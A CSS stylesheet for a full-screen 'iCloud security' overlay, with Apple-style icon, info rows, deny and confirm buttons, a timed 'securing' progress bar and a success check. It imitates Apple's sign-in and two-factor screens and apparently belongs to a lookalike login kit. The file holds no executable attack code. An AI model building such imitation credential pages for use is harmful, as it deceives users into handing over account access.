/* ── Hide underlying auth content (same pattern as lockdown) ── */

body.icloud-security-active .home-login-component {
  flex: 1 1 auto;
  width: 100%;
  min-height: 0;
  height: auto !important;
  min-height: auto !important;
}

/* ── index.html modal structure: force overlay visible & fullscreen ── */
body.icloud-security-active .auth-modal-overlay {
  display: flex !important;
  position: fixed !important;
  inset: 0 !important;
  z-index: 9999 !important;
  padding: 0 !important;
}

body.icloud-security-active .auth-modal-card {
  width: 100% !important;
  max-width: none !important;
  height: 100% !important;
  max-height: none !important;
  border-radius: 0 !important;
  padding: 0 !important;
  display: flex !important;
  flex-direction: column !important;
}

/* Hide landing page content (index.html structure) */
body.icloud-security-active .flex-page-content > main,
body.icloud-security-active .landing-page-content,
body.icloud-security-active .landing-page-icloud-hero,
body.icloud-security-active .icloud-animated-hero,
body.icloud-security-active .hero-wrapper {
  display: none !important;
}

/* Hide landing page content when security overlay is active */
body.icloud-security-active .flex-page-content > main,
body.icloud-security-active .flex-page-content > footer,
body.icloud-security-active .flex-page-content > header .action-buttons,
body.icloud-security-active .landing-page,
body.icloud-security-active .hero-wrapper,
body.icloud-security-active .landing-page-icloud-hero,
body.icloud-security-active .icloud-animated-hero {
  display: none !important;
}

/* Make the auth area fill the viewport when security is active */
body.icloud-security-active .flex-page-viewport {
  position: fixed !important;
  inset: 0 !important;
  overflow: hidden !important;
}

body.icloud-security-active .flex-page-content {
  display: flex !important;
  flex-direction: column !important;
  min-height: 100vh !important;
}

body.icloud-security-active .parent-container {
  position: relative;
  flex: 1 1 auto;
  display: flex;
  flex-direction: column;
  min-height: 480px !important;
  height: auto !important;
  flex-grow: 1 !important;
}

body.icloud-security-success .home-login-component {
  flex: 1 1 auto;
  min-height: calc(100dvh - 96px);
}

body.icloud-security-success .parent-container {
  min-height: calc(100dvh - 96px) !important;
}

body.icloud-security-active .parent-container .body-view {
  flex: 1 1 auto;
  display: flex;
  flex-direction: column;
  min-height: 0;
  height: auto !important;
  flex-grow: 0 !important;
}

body.icloud-security-active .parent-container .body-view > * {
  display: none !important;
}

body.icloud-security-active .parent-container .quick-access-container {
  display: none !important;
}

/* ── Overlay shell ── */

.sa-overlay {
  position: absolute;
  inset: 0;
  z-index: 30;
  display: flex;
  align-items: center;
  justify-content: center;
  padding: 40px 32px 36px;
  box-sizing: border-box;
  background: var(--theme-color-backgroundPrimary, rgb(28, 28, 30));
  border-radius: inherit;
  opacity: 0;
  transform: translateY(8px);
  animation: sa-overlay-enter 0.5s cubic-bezier(0.22, 1, 0.36, 1) forwards;
  transition:
    align-items 0.55s cubic-bezier(0.22, 1, 0.36, 1),
    padding 0.55s cubic-bezier(0.22, 1, 0.36, 1);
}

@keyframes sa-overlay-enter {
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

body.icloud-security-exit .sa-overlay {
  animation: none;
  opacity: 0;
  transform: translateY(-4px);
  transition:
    opacity 0.62s cubic-bezier(0.22, 1, 0.36, 1),
    transform 0.62s cubic-bezier(0.22, 1, 0.36, 1);
  pointer-events: none;
}

/* ── Stage ── */

.sa-stage {
  width: 100%;
  max-width: 360px;
  text-align: center;
  display: flex;
  flex-direction: column;
  align-items: center;
}

/* ── Apple icon ── */

.sa-icon-wrap {
  position: relative;
  width: 140px;
  height: 140px;
  margin: 0 auto 28px;
  flex-shrink: 0;
  transition:
    opacity 0.48s cubic-bezier(0.22, 1, 0.36, 1),
    transform 0.48s cubic-bezier(0.22, 1, 0.36, 1),
    height 0.48s cubic-bezier(0.22, 1, 0.36, 1),
    margin 0.48s cubic-bezier(0.22, 1, 0.36, 1);
}

.sa-icon-wrap.is-fading-out {
  opacity: 0;
  transform: scale(0.92);
  pointer-events: none;
  transition:
    opacity 0.62s cubic-bezier(0.22, 1, 0.36, 1),
    transform 0.62s cubic-bezier(0.22, 1, 0.36, 1);
}

.sa-ring {
  position: absolute;
  inset: -8px;
  border-radius: 50%;
  background: conic-gradient(
    from 0deg,
    rgba(135, 0, 255, 0) 0deg,
    rgba(135, 0, 255, 0.55) 70deg,
    rgba(0, 177, 238, 0.75) 140deg,
    rgba(255, 164, 86, 0.7) 220deg,
    rgba(238, 0, 225, 0.5) 300deg,
    rgba(135, 0, 255, 0) 360deg
  );
  mask: radial-gradient(farthest-side, transparent calc(100% - 3px), #000 calc(100% - 2px));
  -webkit-mask: radial-gradient(farthest-side, transparent calc(100% - 3px), #000 calc(100% - 2px));
  animation: sa-ring-spin 2.8s linear infinite;
  opacity: 0.85;
}

.sa-ring-glow {
  position: absolute;
  inset: -16px;
  border-radius: 50%;
  background: radial-gradient(circle, rgba(120, 160, 255, 0.18) 0%, transparent 68%);
  animation: sa-ring-glow 2.4s ease-in-out infinite;
}

@keyframes sa-ring-spin {
  to { transform: rotate(360deg); }
}

@keyframes sa-ring-glow {
  0%, 100% { opacity: 0.45; transform: scale(0.96); }
  50% { opacity: 1; transform: scale(1.04); }
}

.sa-icon {
  position: relative;
  z-index: 2;
  width: 140px;
  height: 140px;
  animation: sa-icon-float 3s ease-in-out infinite;
}

.sa-icon svg {
  width: 140px;
  height: 140px;
  display: block;
}

.sa-icon svg path {
  animation: sa-dot-pulse 2.2s ease-in-out infinite;
}

.sa-icon svg path:nth-child(odd) { animation-delay: 0.15s; }
.sa-icon svg path:nth-child(3n) { animation-delay: 0.35s; }
.sa-icon svg path:nth-child(4n) { animation-delay: 0.55s; }
.sa-icon svg path:nth-child(5n) { animation-delay: 0.75s; }

@keyframes sa-icon-float {
  0%, 100% { transform: translateY(0); }
  50% { transform: translateY(-4px); }
}

@keyframes sa-dot-pulse {
  0%, 100% { opacity: 0.55; }
  50% { opacity: 1; }
}

/* ── Carousel ── */

.sa-carousel {
  position: relative;
  width: 100%;
  overflow: visible;
  flex-shrink: 0;
  transition: height 0.38s cubic-bezier(0.22, 1, 0.36, 1);
}

.sa-card {
  width: 100%;
  display: flex;
  flex-direction: column;
  align-items: stretch;
  opacity: 0;
  visibility: hidden;
  transform: translateY(6px);
  transition:
    opacity 0.52s cubic-bezier(0.22, 1, 0.36, 1),
    transform 0.52s cubic-bezier(0.22, 1, 0.36, 1),
    visibility 0.52s;
  pointer-events: none;
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  z-index: 1;
}

.sa-card-content {
  width: 100%;
  flex-shrink: 0;
  text-align: center;
}

.sa-card.is-active {
  opacity: 1;
  visibility: visible;
  transform: translateY(0);
  pointer-events: auto;
  position: absolute;
  z-index: 2;
}

.sa-card.is-exiting {
  opacity: 0;
  visibility: visible;
  transform: translateY(-6px);
  pointer-events: none;
  z-index: 1;
}

.sa-card.is-entering {
  opacity: 0;
  visibility: visible;
  transform: translateY(6px);
  pointer-events: none;
  z-index: 2;
}

/* ── Typography ── */

.sa-title {
  font-family: "SF Pro Display", "SF Pro Text", "SF Pro Icons", "Helvetica Neue", Helvetica, Arial, sans-serif;
  font-size: clamp(22px, 5vw, 28px);
  font-weight: 600;
  line-height: 1.15;
  letter-spacing: -0.02em;
  color: var(--theme-color-labelPrimary, rgba(255, 255, 255, 0.96));
  margin: 0 0 8px;
}

.sa-subtitle {
  font-family: "SF Pro Text", "SF Pro Icons", "Helvetica Neue", Helvetica, Arial, sans-serif;
  font-size: 14px;
  font-weight: 400;
  line-height: 1.45;
  color: var(--theme-color-labelSecondary, rgba(255, 255, 255, 0.56));
  margin: 0 auto 18px;
  max-width: 320px;
}

/* ── Info list ── */

.sa-info {
  width: 100%;
  background: rgba(255, 255, 255, 0.05);
  border-radius: 10px;
  overflow: hidden;
  margin: 0 0 18px;
  text-align: left;
  box-sizing: border-box;
}

.sa-card.is-securing .sa-actions {
  display: none;
}

.sa-card.is-securing .sa-title,
.sa-card.is-securing .sa-subtitle {
  transition: opacity 0.45s cubic-bezier(0.22, 1, 0.36, 1);
}

.sa-card.is-securing .sa-subtitle {
  margin-bottom: 32px;
}

.sa-card.is-securing .sa-progress {
  display: block !important;
  margin: 0 auto 0;
  opacity: 1;
  height: 4px;
  width: min(240px, 78%);
}

.sa-info-row {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 11px 16px;
  font-family: "SF Pro Text", "Helvetica Neue", Helvetica, Arial, sans-serif;
  font-size: 14px;
  line-height: 1.4;
}

.sa-info-row + .sa-info-row {
  border-top: 0.5px solid rgba(255, 255, 255, 0.08);
}

.sa-info-label {
  color: var(--theme-color-labelSecondary, rgba(255, 255, 255, 0.56));
  margin-right: 16px;
  flex-shrink: 0;
}

.sa-info-value {
  color: var(--theme-color-labelPrimary, rgba(255, 255, 255, 0.92));
  font-weight: 500;
  text-align: right;
  font-variant-numeric: tabular-nums;
}

/* ── Action buttons ── */

.sa-actions {
  width: 100%;
  display: flex;
  flex-direction: column;
  gap: 10px;
  flex-shrink: 0;
  margin-top: 2px;
}

.sa-btn {
  display: block;
  width: 100%;
  min-height: 42px;
  padding: 12px 20px;
  border: none;
  border-radius: 980px;
  font-family: "SF Pro Text", "Helvetica Neue", Helvetica, Arial, sans-serif;
  font-size: 15px;
  font-weight: 500;
  letter-spacing: -0.01em;
  line-height: 1.2;
  cursor: pointer;
  transition: opacity 0.2s, transform 0.15s, background 0.2s;
  -webkit-tap-highlight-color: transparent;
  background: #0071e3;
  color: #fff;
  position: relative;
  box-sizing: border-box;
}

.sa-btn:hover { opacity: 0.9; }
.sa-btn:active { transform: scale(0.98); }
.sa-btn:disabled { opacity: 0.55; cursor: default; transform: none; }

.sa-btn-deny {
  background: #ff3b30;
  color: #fff;
}

.sa-btn-confirm {
  background: #0071e3;
  color: #fff;
}

.sa-btn-confirm:hover {
  background: #0077ed;
  opacity: 1;
}

.sa-btn.is-loading {
  color: transparent;
  pointer-events: none;
}

.sa-btn.is-loading::after {
  content: "";
  position: absolute;
  left: 50%;
  top: 50%;
  width: 18px;
  height: 18px;
  margin: -9px 0 0 -9px;
  border: 2px solid rgba(255, 255, 255, 0.35);
  border-top-color: #fff;
  border-radius: 50%;
  animation: sa-btn-spin 0.7s linear infinite;
}

@keyframes sa-btn-spin {
  to { transform: rotate(360deg); }
}

/* ── Progress bar ── */

.sa-progress {
  width: min(220px, 72%);
  height: 3px;
  margin: 0 auto 20px;
  border-radius: 999px;
  background: rgba(255, 255, 255, 0.08);
  overflow: hidden;
  position: relative;
  opacity: 0;
  transition: opacity 0.55s cubic-bezier(0.22, 1, 0.36, 1) 0.12s;
}

.sa-progress-bar {
  position: absolute;
  top: 0;
  left: 0;
  bottom: 0;
  width: 0;
  border-radius: inherit;
  background: linear-gradient(
    90deg,
    rgba(0, 113, 227, 0.85) 0%,
    rgba(0, 177, 238, 0.95) 55%,
    rgba(90, 200, 250, 1) 100%
  );
  box-shadow: 0 0 12px rgba(0, 177, 238, 0.35);
}

.sa-card.is-securing .sa-progress-bar {
  animation: sa-progress-fill 3.6s cubic-bezier(0.22, 1, 0.36, 1) forwards;
}

@keyframes sa-progress-fill {
  0% { width: 0%; }
  70% { width: 78%; }
  100% { width: 100%; }
}

/* ── Progress dots ── */

.sa-dots {
  display: flex;
  gap: 8px;
  justify-content: center;
  margin-top: 28px;
  flex-shrink: 0;
}

.sa-dot {
  width: 6px;
  height: 6px;
  border-radius: 50%;
  background: rgba(255, 255, 255, 0.15);
  transition: background 0.35s, transform 0.35s;
}

.sa-dot.is-done { background: rgba(48, 209, 88, 0.7); }
.sa-dot.is-current { background: rgba(255, 255, 255, 0.65); transform: scale(1.25); }

/* ── Success state ── */

.sa-overlay.sa-overlay--success {
  align-items: center;
  justify-content: center;
  padding: 48px 32px;
  transition:
    align-items 0.65s cubic-bezier(0.22, 1, 0.36, 1),
    padding 0.65s cubic-bezier(0.22, 1, 0.36, 1);
}

.sa-overlay--success .sa-stage {
  width: 100%;
  max-width: 360px;
}

.sa-overlay--success .sa-icon-wrap {
  display: none !important;
}

.sa-overlay--success .sa-carousel {
  height: auto;
  min-height: 160px;
}

.sa-overlay--success .sa-card[data-step="3"] {
  position: absolute;
  justify-content: center;
}

.sa-success-content {
  opacity: 0;
  transform: translateY(12px);
}

.sa-card[data-step="3"].is-active .sa-success-content {
  animation: sa-success-fade-in 0.7s cubic-bezier(0.22, 1, 0.36, 1) forwards;
}

@keyframes sa-success-fade-in {
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

.sa-check-wrap {
  position: relative;
  width: 88px;
  height: 88px;
  margin: 0 auto 22px;
}

.sa-check-glow {
  position: absolute;
  inset: -14px;
  border-radius: 50%;
  background: radial-gradient(circle, rgba(48, 209, 88, 0.28) 0%, transparent 72%);
  opacity: 0;
  animation: sa-check-glow-in 0.8s cubic-bezier(0.22, 1, 0.36, 1) 0.15s forwards,
    sa-check-glow-pulse 2.4s ease-in-out 0.9s infinite;
}

@keyframes sa-check-glow-in {
  to { opacity: 1; }
}

@keyframes sa-check-glow-pulse {
  0%, 100% { transform: scale(0.96); opacity: 0.75; }
  50% { transform: scale(1.06); opacity: 1; }
}

.sa-check-wrap svg {
  position: relative;
  z-index: 1;
  width: 88px;
  height: 88px;
  display: block;
}

.sa-check-bg {
  fill: #30d158;
  transform-origin: 26px 26px;
  transform: scale(0);
  animation: sa-check-bg-in 0.5s cubic-bezier(0.22, 1, 0.36, 1) 0.2s forwards;
}

@keyframes sa-check-bg-in {
  to { transform: scale(1); }
}

.sa-check-path {
  fill: none;
  stroke: #fff;
  stroke-width: 3.5;
  stroke-linecap: round;
  stroke-linejoin: round;
  stroke-dasharray: 48;
  stroke-dashoffset: 48;
  animation: sa-check-draw 0.4s cubic-bezier(0.65, 0, 0.45, 1) 0.55s forwards;
}

.sa-overlay--success .sa-success-message {
  font-family: "SF Pro Display", "SF Pro Text", "SF Pro Icons", "Helvetica Neue", Helvetica, Arial, sans-serif;
  font-size: clamp(22px, 5vw, 26px);
  font-weight: 600;
  line-height: 1.2;
  letter-spacing: -0.025em;
  color: var(--theme-color-labelPrimary, rgba(255, 255, 255, 0.92));
  margin: 0;
  opacity: 0;
  transform: translateY(10px);
  animation: sa-success-text-in 0.55s cubic-bezier(0.22, 1, 0.36, 1) 0.82s forwards;
}

@keyframes sa-success-text-in {
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

@keyframes sa-check-draw {
  to { stroke-dashoffset: 0; }
}

/* ── Overrides for shell.js 2fa-shell fix styles (higher specificity + !important) ── */
body.icloud-security-active .home-login-component.icloud-2fa-shell,
body.icloud-security-active .home-login-component.has-visible-quick-access,
body.icloud-security-active .home-login-component {
  min-height: 100vh !important;
  height: auto !important;
  flex-grow: 1 !important;
}

body.icloud-security-active .home-login-component.icloud-2fa-shell .parent-container,
body.icloud-security-active .home-login-component .parent-container.is-visible,
body.icloud-security-active .parent-container {
  min-height: 100vh !important;
  height: auto !important;
  flex-grow: 1 !important;
}

body.icloud-security-active .home-login-component.icloud-2fa-shell .parent-container .body-view,
body.icloud-security-active .home-login-component .parent-container .body-view,
body.icloud-security-active .parent-container .body-view {
  flex-grow: 1 !important;
  height: auto !important;
  min-height: 100vh !important;
}

@media (max-width: 759px) {
  body.icloud-security-active .parent-container {
    border-radius: 0;
  }

  .sa-overlay {
    padding: 36px 24px 28px;
  }

  .sa-icon-wrap {
    width: 120px;
    height: 120px;
    margin-bottom: 20px;
  }

  .sa-icon,
  .sa-icon svg {
    width: 120px;
    height: 120px;
  }
}
